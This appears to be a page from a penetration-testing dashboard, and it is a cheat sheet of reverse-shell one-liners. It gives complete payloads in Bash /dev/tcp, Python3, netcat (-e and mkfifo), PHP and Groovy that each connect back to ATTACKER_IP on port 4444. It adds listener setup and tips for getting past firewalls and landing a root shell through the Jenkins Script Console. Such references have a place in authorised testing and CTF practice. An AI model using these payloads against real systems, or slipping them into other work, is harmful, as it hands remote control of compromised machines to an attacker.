Reverse Shell Payload
One-liners that open a reverse shell from target to attacker. Concept: the target makes the outbound connection — easier to slip past firewalls than a bind shell. Set up the nc listener on the attacker BEFORE firing the payload.
NC Listener (Attacker)
Netcat listener waiting for an incoming connection from the target. Flags: `-l` = listen mode, `-v` = verbose (show connection info), `-n` = no DNS lookup (faster, no DNS leaks), `-p 4444` = port to use. Must be running BEFORE the payload fires on the target — if the listener is not ready when the payload runs, the connection fails immediately and the payload has to be re-run. `rlwrap` adds arrow keys, Ctrl+R history search, and line editing — strongly recommended for comfort.
nc -lvnp 4444
With rlwrap (arrow keys + history):
rlwrap nc -lvnp 4444
When to use: FIRST step before anything else. Run this in the attacker terminal, then trigger the payload on the target.
Bash TCP
Leverages a Bash built-in: `/dev/tcp/HOST/PORT` is a pseudo-device that opens a TCP connection when opened. `>&` redirects stdout and stderr into the socket. `0>&1` redirects stdin from the same socket (so attacker input enters bash). Needs no external executable — pure bash built-in. Fails when: (1) the system uses dash/sh instead of bash (check: `ls -la /bin/sh`), (2) bash was compiled without --enable-net-redirections.
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Via bash -c (command injection / web shell):
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
When to use: Try this FIRST — simplest, no extra tools needed
Note: Only works in bash. If /bin/sh → dash (check with ls -la /bin/sh), use another method
Python3
Creates a TCP socket (`socket.socket()`), connects to the attacker, then `os.dup2()` duplicates the socket file descriptor to stdin(0), stdout(1), stderr(2) — all bash I/O is routed through the socket. `subprocess.call(["/bin/bash"])` spawns bash with I/O already redirected. More portable than bash /dev/tcp because it works in any shell that can run python3.
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'
When to use: When bash /dev/tcp does not work, or the target uses sh/dash instead of bash
Netcat (-e and mkfifo)
The `-e` flag makes nc execute a program on connect and wire its I/O to the socket — the simplest path. Catch: netcat-openbsd (default on Debian/Ubuntu) intentionally omits `-e` for security reasons. Use the mkfifo variant instead: `mkfifo /tmp/f` makes a named pipe → `cat /tmp/f` reads from the pipe → piped to bash → bash output goes to nc → nc writes back to the pipe (creating a two-way I/O loop).
nc -e /bin/bash ATTACKER_IP 4444
mkfifo — for nc without -e:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
When to use: Check -e support first: nc -h 2>&1 | grep -i exec. If missing, use mkfifo.
Note: Debian/Ubuntu use netcat-openbsd — no -e. Use mkfifo or another method.
PHP
`fsockopen()` opens a TCP connection and returns a file descriptor (usually fd=3). `exec()` runs bash with I/O redirected to fd 3: `<&3` = stdin from the socket, `>&3` = stdout to the socket, `2>&3` = stderr to the socket. Useful when you get RCE via: command injection in a form input, an SSTI that executes code, or a .php webshell upload. Almost always available on PHP servers.
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
When to use: Target is a PHP web server and you have RCE (command injection, SSTI, shell upload)
Groovy (Jenkins / Java)
Pure Groovy/Java reverse shell with no external tools. `ProcessBuilder(cmd)` spawns /bin/bash, `Socket(host,port)` opens an outbound connection to the attacker, then a loop copies bytes both ways between the process streams (stdin/stdout/stderr) and the socket. Primary vector: Jenkins Script Console (Manage Jenkins → Script Console, or directly /script) which executes arbitrary Groovy — often dropping a root shell because Jenkins frequently runs as root, removing any need for privilege escalation.
String host="ATTACKER_IP";int port=4444;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
For Windows targets (cmd.exe):
String host="ATTACKER_IP";int port=4444;String cmd="cmd.exe"; /* rest of payload identical */
When to use: You have access to the Jenkins Script Console (/script) or a Java/Groovy app that evals code. Set up the nc listener (revshell-listener) before clicking Run.
Note: For Windows, change cmd="/bin/bash" to cmd="cmd.exe". Jenkins usually runs as root → shell lands straight as root.
← RESPWN Dashboard
